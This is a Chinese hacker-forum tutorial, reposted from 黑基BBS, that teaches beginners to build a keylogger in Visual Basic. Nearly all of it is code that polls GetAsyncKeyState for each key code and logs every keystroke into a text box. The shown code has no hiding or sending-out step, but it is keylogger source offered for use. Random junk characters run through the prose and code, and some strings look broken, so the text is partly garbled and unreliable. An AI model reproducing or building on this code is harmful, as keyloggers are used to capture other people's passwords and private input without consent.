手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 / A: V( w+ x5 H8 s% D版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 7 _9 c3 X0 x0 w很详细，再也不像那篇，出了代码什么也没 ^!^ ! ?0 |/ z3 q4 X' F# F这个程序将会详细的讲解如何记载键盘的每一次输入。 5 n8 p! T9 Y" e- ?- q8 u( t4 g下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 ; r! \! m C9 t0 i$ fGetAsyncKeyState函数根据虚拟键表判断按键的类型。 " c7 R S. F! c: u: |, |返回值为一个16位的二进值数，如果被按下则最高位为1， : r& c6 ^, X+ E即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer : T3 _9 Q( s9 B好了，函数就先介绍这么多，下面开始动手实战了 4 W1 O! K7 v4 e4 Gfirst,当然是创建窗口了 1 M6 b1 r+ K+ e ; M; w( [ Z# U2 }, z! { 3 F, F V+ f# I9 D: q 3 Z, c2 R% e0 S( \, m : W, y7 ?% s5 ^. e4 I0 n 在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey $ V. Q4 b; G$ t. `3 L4 @7 U/ D KeyResult = GetAsyncKeyState(13) '回车键 ) \, R& _6 X/ Q6 N/ S" F4 Y: I9 W If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If ' I6 X! N$ C- B; { S8 r9 L) q. y KeyResult = GetAsyncKeyState(17) 'Ctrl键 - V @5 r# M' T7 _' O' w3 U0 y If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound End If . D% W! E \7 Q% b% c, X( I KeyResult = GetAsyncKeyState(8) '退格键 $ |0 B! |! {/ }! W3 D If KeyResult = -32767 Then + J8 f/ e% l) _7 p* J) E. I AddKey = "[BKSPACE]" GoTo KeyFound . ^2 W" |$ Q S* {' v End If , |( ^) ^* b5 D8 H# J' M KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = "[TAB]" ! p+ k! ^& P. C3 J7 b& s5 N GoTo KeyFound End If - \$ C( S: g7 ^! r( U2 P8 M& ]3 d& a KeyResult = GetAsyncKeyState(18) 2 H7 M" ?9 y# U5 y If KeyResult = -32767 Then AddKey = "[ALT]" , j2 S$ V" G/ L7 k. \/ u X6 x# | GoTo KeyFound End If % j0 N9 F/ n" |& Z8 U KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then AddKey = "[PAUSE]" N1 A( ?8 y% U9 n* d1 }) S GoTo KeyFound End If . G! V9 T& O0 A \+ h KeyResult = GetAsyncKeyState(20) & u9 f9 b+ {# B; O If KeyResult = -32767 Then AddKey = "[CAPS]" % s: T/ w; c, }9 k: q9 K GoTo KeyFound End If , j0 I4 s7 l4 m+ J KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound $ A3 e6 `& S+ j+ G$ p+ c0 N7 G# H9 R End If 3 G F5 H0 t( B& Z1 t1 x/ `' Y KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then 4 g9 M* k0 S& d: N1 v AddKey = "[PGUP]" 3 Y; R" w4 M" o& X/ j0 k GoTo KeyFound End If j2 F" u2 P2 K: }, J# v |# p KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]" 4 l; \4 U3 B( X, n3 v+ ^. o: q/ _6 t+ F GoTo KeyFound : E% {' ? U! g$ L. k- J8 \ End If KeyResult = GetAsyncKeyState(35) 2 U6 ? d C5 F' ?6 k If KeyResult = -32767 Then 8 w, R* r+ b5 m) C AddKey = "[END]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = "[HOME]" |/ K1 e; N$ }3 T, K GoTo KeyFound ; ~& J/ c% k1 d2 K End If KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then ; H/ H, b2 u8 n% N( g/ O8 P AddKey = "[SYSRQ]" GoTo KeyFound " k- N( A6 _9 i8 Z9 J4 F6 E End If KeyResult = GetAsyncKeyState(45) 2 H8 k- h1 l( Q6 O( \6 @% R If KeyResult = -32767 Then AddKey = "[INS]" $ W, ?& B2 D, H$ d8 B GoTo KeyFound 6 g! P: X* l# X0 | End If ! f( @+ t/ [, e0 v3 n; T ]% M KeyResult = GetAsyncKeyState(46) 1 q, u$ n/ D3 W/ p If KeyResult = -32767 Then " D9 @; D, K e8 E# x, C( E& [ AddKey = "[DEL]" GoTo KeyFound End If 0 A7 Y; W/ Y/ U: [' \ KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then 1 n7 L, h) Q7 P6 `% r4 v AddKey = "[NUM]" GoTo KeyFound 7 O! E" n- l3 U, X: Y& G End If * v4 g* p: G6 R7 n% U/ ?& a( H KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then ) N, r/ o# A- y9 \) |- y- A# ] AddKey = "

" GoTo KeyFound End If ) t C# g; u/ \( I* L KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then 4 B4 x8 y: j; S2 J/ z. J2 T AddKey = "[UP]" GoTo KeyFound End If . d/ ?$ a8 R, b' G& q5 k KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound End If KeyResult = GetAsyncKeyState(40) . O# \/ O4 v* v If KeyResult = -32767 Then 1 w( g3 b" p8 {5 i2 ?* P: g H& ] AddKey = "[DOWN]" x' G- c+ k& l GoTo KeyFound 4 V+ D. v* `1 n# ]* K End If , `' d: v9 q9 y, ]/ \) K ) S7 u$ _ c: S- ~+ h3 k) }) sKeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound 4 D i8 M9 @- z# H End If 1 `( Y4 b; j8 W, {1 R6 k & e3 W$ L) ]$ V+ N; f$ ^" JKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then 1 H. ~, k0 K+ F# { AddKey = "[F3]" GoTo KeyFound * F- M& G) e' E' Z2 e End If ! ]# W( `# \0 Q 9 q4 f/ d, O c7 M R2 yKeyResult = GetAsyncKeyState(115) , S! C" U) r) _3 i If KeyResult = -32767 Then AddKey = "[F4]" 9 ? T- F6 a8 z/ f! P- G q) B5 q GoTo KeyFound End If 3 x# M( j/ @. U0 @0 E) W6 x7 HKeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then * y( ^! Z7 `& e: d AddKey = "[F5]" ! X p9 y& H4 L GoTo KeyFound End If 7 A4 r' t2 N0 \ KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then , P1 c0 [8 ]4 v2 p$ p AddKey = "[F6]" GoTo KeyFound End If 1 w5 m6 ]- Q o2 u7 ^) rKeyResult = GetAsyncKeyState(118) + s4 b) j3 y6 |3 A If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound End If . `& n. Y+ S/ e) Y1 G & p5 P* A+ T% R5 {KeyResult = GetAsyncKeyState(119) 0 g' `: u+ e4 j If KeyResult = -32767 Then AddKey = "[F8]" GoTo KeyFound ( {5 Q6 `( o( c: Z& B* h3 ?6 j End If % e5 Z3 A( q9 U$ `/ i KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" 7 j6 K) v( h g4 X( p: U1 y GoTo KeyFound End If ] U1 ]! D. S0 D/ Z# ~; AKeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" 0 P: T k0 Y- r8 N# @3 D GoTo KeyFound ( D9 t9 Q# N( |3 { End If 5 @" R! t1 I, I5 c' AKeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" GoTo KeyFound ' Z/ U6 L5 z+ [" U! o2 G. ~ End If 7 ?. ]; X) V7 Z8 m# x9 a9 X& r8 \! y KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]" % l1 @% W, D3 `/ t) `# { GoTo KeyFound , A! ^! o3 B: B S End If KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound End If & u( X. M& p8 Z0 H. i9 y7 ^! W # j$ n7 x& ` T' U' kKeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound 3 g# P; w- a, F1 |: {: Z End If # F* }0 _, T& n6 p8 t- X) q# p KeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then $ {& ~7 Z) ]: n AddKey = "[F15]" GoTo KeyFound * n% V$ }( k; o s5 }9 ~! N End If / z- V$ P M7 w: C) }KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" 4 r, S5 Q7 V) v6 O GoTo KeyFound End If KeyResult = GetAsyncKeyState(32) 9 V+ @" y+ P4 ]* x3 J: o0 P/ s If KeyResult = -32767 Then ; [4 X; m1 m4 \& Y$ H F8 K$ i# e AddKey = " " GoTo KeyFound End If 7 {+ k1 F7 H$ ]% }6 p, lKeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then 4 k6 T* J3 X" w3 ? AddKey = ";" 9 z, D. ?! z6 \8 W- F/ j GoTo KeyFound : b1 b3 ~" w! }8 \/ \/ g End If KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then 8 N1 i; L9 y4 z6 J/ U AddKey = "=" GoTo KeyFound 9 D- H6 \8 F _4 ]1 S End If 7 K% U: Z5 j4 D5 U3 nKeyResult = GetAsyncKeyState(188) . \% u: Z# ?# r% \0 v. t% q If KeyResult = -32767 Then AddKey = "," GoTo KeyFound End If KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-" $ K4 t* a/ w! R6 \2 I GoTo KeyFound End If x; c1 G, y; I4 s/ }. m3 k6 C KeyResult = GetAsyncKeyState(190) 5 C7 }6 I6 @" ^- U If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If 9 G }* A# H& p- L3 RKeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then 9 f, j5 W* x* z. ^ AddKey = "/" '/ GoTo KeyFound 1 F" k1 a3 M# T. B& x9 w9 C& j End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then 4 r; u; M6 R6 J. d6 w AddKey = "`" '` GoTo KeyFound 0 z# {7 ~$ D K3 ?- K3 \: J End If 7 n0 N$ I. v9 l$ h# j 4 q1 n' M; i9 l" x 2 X- J3 F k9 K7 t; k) e5 ?/ U '----------NUM PAD & {6 d" n$ A1 H, s/ bKeyResult = GetAsyncKeyState(96) . h2 {. @6 ^/ X( b If KeyResult = -32767 Then % p. ?+ m' S! k R8 | AddKey = "0" GoTo KeyFound End If KeyResult = GetAsyncKeyState(97) 5 H$ q( g7 C2 Z; e If KeyResult = -32767 Then AddKey = "1" GoTo KeyFound End If / i$ ]/ {- Z% k) t ) q1 ]- l7 H: t5 nKeyResult = GetAsyncKeyState(98) 5 t' p- c V+ ]1 I0 Y5 \/ y- l If KeyResult = -32767 Then AddKey = "2" 4 T1 Q; T* @8 W4 a( X& l. |2 H GoTo KeyFound End If % X' o0 i& S+ Q3 q, F- D" ^% J. ? KeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then . v+ s( V a8 K# ^ } AddKey = "3" GoTo KeyFound ' F1 V6 m, T) ?& L+ M& [ End If - a9 i% S7 r. o+ S6 _ KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then 2 u, F. x, E) m7 Q, C AddKey = "4" GoTo KeyFound End If 5 r! n1 P$ W$ j- V: r8 Z ; ]9 k$ V, @0 a2 J4 @, EKeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" , ^" G3 Q) j: o. b1 a GoTo KeyFound $ g R; J1 `: f4 u End If + C: j! T/ u! ^* Y! w0 y& Y KeyResult = GetAsyncKeyState(102) : z* C" e' k( _0 W2 G If KeyResult = -32767 Then ' w7 p! J& ^, t& J; P5 \' Y' J; N' H AddKey = "6" GoTo KeyFound End If $ M) ?3 b- v, K1 v) ~+ t5 U" _( ZKeyResult = GetAsyncKeyState(103) 3 ~1 @7 ~) Y+ w0 u1 D4 r) ~ If KeyResult = -32767 Then AddKey = "7" GoTo KeyFound , Y3 G+ f2 r1 I. z End If & }# \" Q7 ]1 o- lKeyResult = GetAsyncKeyState(104) ; h* I6 W7 t" p- q% b" V If KeyResult = -32767 Then AddKey = "8" 9 W( _8 K% C0 @ GoTo KeyFound ; v4 U: ^! l! s3 ~+ T2 ]: ~ End If # b" q% q; P, `8 `7 U P9 A) c0 n KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound End If 7 |3 j$ _' Z) @1 k, mKeyResult = GetAsyncKeyState(106) 1 \1 p& ?7 e$ [# ]8 }. D If KeyResult = -32767 Then AddKey = "*" GoTo KeyFound End If KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then * J5 |. ?0 Z& _ AddKey = "+" GoTo KeyFound ' k6 O2 ?& d$ `) X6 a End If : k7 j4 `: J/ D6 H5 h KeyResult = GetAsyncKeyState(108) * g4 E- s+ j6 ^/ m If KeyResult = -32767 Then ; h3 F7 Q: _1 d4 Q, Z: E AddKey = "[ENTER]" GoTo KeyFound " W7 M' Z( Q3 J$ ~7 S. b& Q6 ~ End If " G' N n7 @; G KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound $ x1 z- p% d$ x End If % j; b3 X- N2 L 9 N% b" j" G: s- IKeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then 0 E0 g8 v' y( l; H7 @ AddKey = "." 6 y: N' f: V \. U, K1 w GoTo KeyFound ! y& ]' c4 T" j2 i. k End If KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound # C" i8 \0 [! w0 L$ ~1 w' i End If * H& t7 Y6 p! o/ W* s2 F3 \ KeyResult = GetAsyncKeyState(220) ( t2 K& X7 v& H) x5 z6 h% k4 u If KeyResult = -32767 Then " b) |& p. L- O" ?$ ^$ c AddKey = "\" 8 C* F0 F- H) ~% P9 A GoTo KeyFound 2 d, g3 M; S @0 l5 x End If 0 b' d" D( W, t6 c2 B* H' J+ s KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound & ?! h& M9 r9 c" G7 Z: b2 T1 ~ End If KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then ! H# u. z' e: H( d* n _1 S1 i AddKey = "]" 1 R% N7 t, q0 Y9 \& Y 1 n9 ~; s) v: G! c6 v GoTo KeyFound End If KeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then AddKey = "[" " `" O* V ?1 A) Z( y3 m& | GoTo KeyFound End If 5 I. n; o8 a: ?* K: d KeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" " S4 Z: B/ z) u& y4 U LastKey = AddKey TimeOut = 1 ' O+ ?* A" Z+ W M3 |$ r$ O GoTo KeyFound - c5 G3 B% [7 j# t$ U+ L End If 2 `& G% A b2 M % c8 H7 \1 Y5 y" r( l) r1 R KeyLoop = 41 : i3 A2 ~$ c9 A# g Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) # n4 W+ U0 B! u- K" y If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 2 j9 Z+ `6 ^. t. S5 e4 p Loop LastKey = AddKey Exit Sub KeyFound: '显示键的信息 & A, P$ W; i4 B6 B: H. E& e4 d" I. b Text1 = Text1 & AddKey 0 c, O2 {0 _8 A5 N+ V) d$ ?0 [End Sub : X1 Q, }8 K5 q2 \7 u上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… ! Z% I+ p% y0 e4 w' k9 i- {3 g+ J由于数目太多，一一列举不方便 ) Y0 {; b7 d! `1 ^) _现提供Ascii表一份供对照 , g q u: C# D0 k+ P/ ehttp://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 Private Sub Timer2_Timer() ' z, G; ]# B( N3 NTimeOut = 0 " M8 K' C3 D5 \* c0 VEnd Sub 目的是随时刷新清空 # ]4 V& t) K* {2 c# T& e/ B% t